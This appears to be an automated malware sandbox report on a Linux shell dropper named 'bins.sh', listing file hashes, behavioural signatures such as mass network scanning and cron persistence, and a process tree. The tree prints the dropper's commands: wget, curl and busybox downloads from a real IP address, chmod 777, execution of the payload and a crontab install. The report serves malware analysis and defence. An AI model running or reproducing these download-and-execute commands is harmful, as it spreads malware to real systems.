Analysis

  • max time kernel
    114s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 18:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    49ff6a2cb20564750a63b55e97d1ab33

  • SHA1

    002760981243e617f09aae9d51348ed8cbf15220

  • SHA256

    f591850528c073e92ddf0c7c9e15277c4a32c26150f5da11e7e7bad58514e7e1

  • SHA512

    a59a5dff228d17cc3f8997dc959386adf79208c4dc7b6f376792deb406e5da9b08090f94eba1dbd5d00356069bc5d4367403fe4fa24494b5d30167319b660b18

  • SSDEEP

    192:OH55kd4A2eVeyFjrUl/Cu1jrUg2eVz55kdl:OH55kd4A2ecyI/Cu32e555kdl

Malware Config

Signatures

  • Contacts a large (2130) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:651
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:673
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:679
        • /bin/chmod
          chmod 777 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • File and Directory Permissions Modification
          PID:680
        • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          ./CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:681
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:683
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:684
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:685
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:686
              • /bin/rm
                rm CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
                2⤵
                  PID:696
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
                  2⤵
                    PID:700

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV

                  Filesize

                  177KB

                  MD5

                  786d75a158fe731feca3880f436082c0

                  SHA1

                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                  SHA256

                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                  SHA512

                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                • /var/spool/cron/crontabs/tmp.wM22Rl

                  Filesize

                  210B

                  MD5

                  5a167604c3d591a50d80d31151507036

                  SHA1

                  f62afb789b9422c605e305fada898043ff2bbb6f

                  SHA256

                  a0df90fc363257329e6ae8a9ccb5926a0a93ed9160e9d27638036894cc32d25d

                  SHA512

                  373bd00f68646c7be639e846e3cbea42075091d8ee2f28ccca3eff277d3a464121fb4f41ba8c8b8fe586c28725b30844b7606ed05b08da369801688d76d98672